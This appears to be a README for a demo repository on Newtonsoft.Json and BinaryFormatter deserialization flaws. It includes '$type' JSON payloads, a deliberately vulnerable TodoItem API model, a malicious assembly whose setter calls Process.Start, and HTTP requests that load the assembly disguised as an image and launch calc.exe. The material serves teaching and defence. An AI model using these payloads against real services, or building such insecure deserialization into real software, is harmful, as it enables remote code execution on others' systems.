This project demonstrates serialization vulnerabilities using Newtonsoft.Json and BinarySerialization. The Todo project is baseed on the starter tutorial available here:
These examples were assembled based on serialization vulnerabilities highlighted in the ysoserial.net git repo. This example reproduces a remote code execution vulnerability by exploiting the Newtonsoft.Json serializer.
The TypeNameHandling property exposes a deserialization vulnerability then the value is set to anything other than None. This informs the deserialization process to resolve a type using the $type property.
{
"$type": "System.IO.FileInfo, System.IO.FileSystem",
"fileName": "rce-test.txt"
}This example creates a System.IO.FIleINfo instance and set the FIleName property to "rce_test.txt." This could potentially be used to exfiltrate file information on the host environment. The examples in this repo make use of a generic dictionary to pass malicious payloads. The TodItem class has twp vulnerabile properties. Metadata accepts a Dictionary<string, object> and BinaryMetadata accepts a class that uses a BinaryFormatter.
public class TodoItem
{
public long Id { get; set; }
public string? Name { get; set; }
public bool IsComplete { get; set; }
public Dictionary<string, object>? Metadata { get; set;}
public List<MetadataItem>? BinaryMetadata { get; set; }
}This can be exploited using the following message:
{
"name": "walk dog1",
"isComplete": true,
"metadata":
{
"data2": {
"$type": "System.IO.FileInfo, System.IO.FileSystem",
"fileName": "rce-test.txt"
}
}
}This project uses a simple ToDo REST API to demonstrate this JSON RCE vulnerability. The MaliciousAssembly project includes this property which calls Process.Start using the property value.
public string ProcessLaunch
{
get
{
return processName;
}
set
{
processName = value;
Process.Start(value);
}
}During complication, this assembly is placed in the bin directory of the ToDo web api with the file name someimage.png. This substitutes for a REST API with a file upload endpoint. In a production environment, this could be placed in Azure Blob storage and referenced by a URL.
The first REST API call loads the malicious file using:
POST https://localhost:7040/api/TodoItems HTTP/1.1
content-type: application/json
{
"name": "load assembly",
"isComplete": true,
"metadata":
{
"data2": {"$type":"System.Configuration.Install.AssemblyInstaller,
System.Configuration.Install",
"Path":"someimage.png"}
}
}The Path is local; however, in a production environment, it could be loaded from a temporary directory or another local directory.
Now that the Assembly is in the AppDomain, the ProcessLaunch property can be invoked:
POST https://localhost:7040/api/TodoItems HTTP/1.1
content-type: application/json
{
"name": "launch calc",
"isComplete": true,
"metadata":
{
"launchdata":
{ "$type":"MaliciousAssembly.ProcessStarter, MaliciousAssembly",
"ProcessLaunch":"calc.exe" }
}
}These calls are available in the todo-badpath.http file. Running these examples in Visual Studio Code requires the REST Client extension.
The JSON vulnerability is exposed in Newtonsoft.Json through the use of TypeNameResolver.
With .NET 6+ it is not possible to override the default JSON serializer from System.Text.Json when using minimal APIs. See Minimal APIs quick reference.